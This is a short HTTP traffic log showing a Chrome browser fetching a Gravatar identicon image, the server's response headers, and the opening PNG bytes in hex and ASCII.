2025-03-27 17:56:44 UTC	669	OUT	GET /avatar/7b41fe8db265693c1a7c1fc0b44c3809?d=identicon HTTP/1.1 Host: www.gravatar.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:44 UTC	452	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Mar 2025 17:56:44 GMT Content-Type: image/png Content-Length: 1324 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/7b41fe8db265693c1a7c1fc0b44c3809?d=identicon>; rel="canonical" Access-Control-Allow-Origin: * Accept-Ranges: bytes Expires: Thu, 27 Mar 2025 18:01:44 GMT Cache-Control: max-age=300 X-nc: MISS jfk 1 Alt-Svc: h3=":443"; ma=86400
2025-03-27 17:56:44 UTC	1324	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 04 de 49 44 41 54 78 9c ed 9c c1 6b 13 41 14 c6 bf 4c 22 44 b1 5a f1 d2 a2 20 16 94 d6 b3 5e 7a b0 08 8a 37 2f fe 09 fe 23 fe 59 82 22 28 34 20 09 de 6c 4a 42 83 60 6b 72 a8 b4 12 91 8a 26 eb e9 c5 74 bb bb f3 66 e6 cd 64 76 eb 77 2a ed 63 bf dd 5f 36 cd 7c ef 4d 16 bd e1 4e c2 d1 d7 a3 7d 56 5d 7b 6f 9b 55 b7 08 71 cf 8d 7b ad bd e1 4e a2 da 83 16 fa a3 2e 74 fa f8 f9 03 ab ae 37 ea a2 33 68 69 eb 42 ab 33 68 a1 c7 38 ff fe a8 8b 8f 9f 3f b0 ea da 83 16 14 00 70 21 72 eb 62 83 68 02 af cd 38 ef f9 3a 45 bf ac 2a 44 9f f0 80 39 80 40 f5 20 fa 86 07 a4 00 02 d5 81 18 02 1e 90 01 10 28 3f c4 Data Ascii: PNGIHDRPPpHYs+IDATxkAL"DZ ^z7/#Y"(4 lJB`kr&tfdvwc_6\|MN}V]{oUq{N.t73hiB3h8?p!rbh8:ED9@ (?